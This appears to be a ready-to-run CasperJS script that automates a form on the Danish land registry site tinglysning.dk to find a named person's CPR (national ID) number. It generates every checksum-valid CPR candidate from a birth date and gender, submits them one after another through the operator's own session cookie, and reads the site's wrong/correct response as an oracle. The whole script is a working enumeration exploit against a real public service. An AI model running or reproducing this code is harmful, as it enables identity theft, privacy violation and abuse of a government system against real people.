// ******************** INDSTILLINGER START ******************** //



// Indsæt URL fra browser

// Eksempelvis: https://www.tinglysning.dk /tinglysning/fuldmagt/opretfuldmagt.xhtml?_abPfm=-v7jsugjo5

var url = '';



// Indsæt cookie værdi (TDK_JSESSIONID)

// Eksempelvis: asdasAZC9KkKYcdYsUVhBac15Lsyjdfp5dvYkJn957bbmNqnJk5!-300513349!-310799201

var TDK_JSESSIONID = '';



var person = {

  fullName: '', // Eksempel: Lars Larsen

  gender:  '', // Eksempel: male

  birthDay: '', // Eksempel: 24

  birthMonth: '', // Eksempel: 12

  birthYear: '' // Eksempel: 1989

}



// ******************** INDSTILLINGER SLUT ******************** //



var casper = require('casper').create({

pageSettings: {

        loadImages:  false,        // The WebPage instance used by Casper will

        loadPlugins: false,        // use these settings

        userAgent: "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A"

    },

  logLevel: "debug",              // Only "info" level messages will be logged

  verbose: false                 // log messages will be printed out to the console

});



var utils = require('utils');

var f = utils.format;



casper.checkStep = function checkStep(self, onComplete) {

    if (self.pendingWait || self.loadInProgress) {

        return;

    }

    self.current = self.step;

    var step = self.steps[self.step++];

    if (utils.isFunction(step)) {

        self.runStep(step);

        step.executed = true;

    } else {

        self.result.time = new Date().getTime() - self.startTime;

        self.log(f("Done %s steps in %dms", self.steps.length, self.result.time), "info");

        clearInterval(self.checker);

        self.emit('run.complete');

        if (utils.isFunction(onComplete)) {

            try {

                onComplete.call(self, self);

            } catch (err) {

                self.log("Could not complete final step: " + err, "error");

            }

        } else {

            self.exit();

        }

    }

};



casper.then = function then(step) {

    if (!this.started) {

        throw new CasperError("Casper not started; please use Casper#start");

    }

    if (!utils.isFunction(step)) {

        throw new CasperError("You can only define a step as a function");

    }

    if (this.checker === null) {

        step.level = 0;

        this.steps.push(step);

        step.executed = false;

        this.emit('step.added', step);

    } else {



      if( !this.steps[this.current].executed ) {

        try {

            step.level = this.steps[this.current].level + 1;

        } catch (e) {

            step.level = 0;

        }

        var insertIndex = this.step;

        while (this.steps[insertIndex] && step.level === this.steps[insertIndex].level) {

            insertIndex++;

        }

        this.steps.splice(insertIndex, 0, step);

        step.executed = false;

        this.emit('step.added', step);

      }

    }

    return this;

};



casper.label = function label( labelname ) {

  var step = new Function('"empty function for label: ' + labelname + ' "');

  step.label = labelname;

  this.then(step);

};



casper.goto = function goto( labelname ) {

  for( var i=0; i<this.steps.length; i++ ){

      if( this.steps[i].label == labelname ) {

        this.step = i;

      }

  }

};



casper.dumpSteps = function dumpSteps( showSource ) {

  this.echo( "=========================== Dump Navigation Steps ==============================", "RED_BAR");

  if( this.current ){ this.echo( "Current step No. = " + (this.current+1) , "INFO"); }

  this.echo( "Next    step No. = " + (this.step+1) , "INFO");

  this.echo( "steps.length = " + this.steps.length , "INFO");

  this.echo( "================================================================================", "WARNING" );



  for( var i=0; i<this.steps.length; i++){

    var step  = this.steps[i];

    var msg   = "Step: " + (i+1) + "/" + this.steps.length + "     level: " + step.level

    if( step.executed ){ msg = msg + "     executed: " + step.executed }

    var color = "PARAMETER";

    if( step.label    ){ color="INFO"; msg = msg + "     label: " + step.label }



    if( i == this.current ) {

      this.echo( msg + "     <====== Current Navigation Step.", "COMMENT");

    } else {

      this.echo( msg, color );

    }

    if( showSource ) {

      this.echo( "--------------------------------------------------------------------------------" );

      this.echo( this.steps[i] );

      this.echo( "================================================================================", "WARNING" );

    }

  }

};



var cprCalc = {

  // Table used for modules 11 test

  CPR_MULTIPLICATION_TABLE: [4,3,2,7,6,5,4,3,2,1],



  firstSixDigits: function(year, month, day) {

    // make sure year, month, day are strings

    year = year.toString();

    month = month.toString();

    day = day.toString();



    return this.padNumber(day,2) + this.padNumber(month,2) + year.substr(2);

  },



  possibleLastFour: function(gender, year, month, day) {

    var possibleLastFour = [];



    firstSixDigits = this.firstSixDigits(year, month, day);



    // populate last four with all that matches gender

    // pad number with zeroes if necessary so that it is 4 chars

    for(i=0; i <= 9999; i++) {

      if (this.numberMatchesGender(i, gender)) possibleLastFour.push(this.padNumber(i, 4));

    }



    for(j=0; j < possibleLastFour.length; j++) {

      var entireCpr = firstSixDigits+possibleLastFour[j];



      // check for exclusion based on combination of 7th digit and year

      if (this.excludedBy7thDigit(possibleLastFour[j], year)) possibleLastFour[j]=null;



      // remove last four unless the entire cpr combination matches modulus 11 test

      // set value to null if does not match modulus 11. we then later remove all these empty elements from the array

      if (this.matchesModolus11(entireCpr)==false) { possibleLastFour[j]=null; }

    }



    // return array with null entries discarded

    cleanedLastFour = [];

    for(k=0; k < possibleLastFour.length; k++) { if(possibleLastFour[k]!=null) cleanedLastFour.push(possibleLastFour[k]) }

    return cleanedLastFour;

  },



  // modulus 11 test (http://da.wikipedia.org/wiki/CPR-nummer#...-nummer.29)

  matchesModolus11: function(cpr) {

    var checkSum = 0;

    for(i=0; i < 10; i++) {

      currentCprDigit = parseInt(cpr.substr(i, 1));

      productOfDigitWithMultiplicationNumber = currentCprDigit*this.CPR_MULTIPLICATION_TABLE[i];

      checkSum = checkSum + productOfDigitWithMultiplicationNumber;

    }

    return (checkSum % 11 == 0);

  },



  // Returns true if the first digit of the last four (7th digit of entire CPR)

  // is impossible based on year and the table found here: http://da.wikipedia.org/wiki/CPR-nummer#...00_.C3.A5r

  // This is currently incomplete and only excludes completely for 7th digits 5-8 and years between 1937 and 1999

  excludedBy7thDigit: function(lastFour, yearOfBirth) {

    // first digit of last four which is the same as seventh digit of CPR

    seventhDigit = lastFour.substr(0,1);

    // If year is between 1900 and 1999, 5,6,7, or 8 is impossible

    if(yearOfBirth<2000 && yearOfBirth>1899) {

      if ((seventhDigit>=5) && (seventhDigit<=8)) return true;

    }

    return false;

  },



  // The last digit of the last four (or entire cpr no.) must be

  // even for females and uneven for males

  numberMatchesGender: function(number, gender) {

    if((number % 2 == 1) && gender=="male") return true;

    if((number % 2 == 0) && gender=="female") return true;

    return false;

  },



  padNumber: function(n, width, z) {

    z = z || '0';

    n = n + '';

    return n.length >= width ? n : new Array(width - n.length + 1).join(z) + n;

  },

};



var colorizer = require('colorizer').create('Colorizer');

var cprList = cprCalc.possibleLastFour(person.gender, person.birthYear, person.birthMonth, person.birthDay);

var i = 0;

casper.options.viewportSize = {width: 1600, height: 950};

phantom.addCookie({

domain: 'www.tinglysning.dk',

    name: 'TDK_JSESSIONID',

    value: TDK_JSESSIONID

});



casper.start(url);

casper.label( "LOOP_START" );

casper.waitForSelector('.container-content');

casper.then(function() {

this.fillSelectors('.container-content', {

        'input[id="content:subform:opretfuldmagt:meddelelseshaverCprnummer"]': person.birthDay+person.birthMonth+person.birthYear[2]+person.birthYear[3]+"-"+cprList[i],

        'input[id="content:subform:opretfuldmagt:meddelelseshaverMatchNavn"]': person.fullName,

    }, false);

    this.clickLabel('Opdater', 'button');

})

casper.then(function() {

if (this.exists('li.infomessage')) {

        console.log(colorizer.colorize(person.birthDay+person.birthMonth+person.birthYear[2]+person.birthYear[3]+'-'+cprList[i]+' - Forkert', 'ERROR'));

        this.goto( "LOOP_START" );

        i++;

    } else {

    console.log(colorizer.colorize(person.birthDay+person.birthMonth+person.birthYear[2]+person.birthYear[3]+'-'+cprList[i]+' - Korrekt', 'INFO'));

    }

});

casper.then(function() {

    casper.wait(5000);

});

casper.run();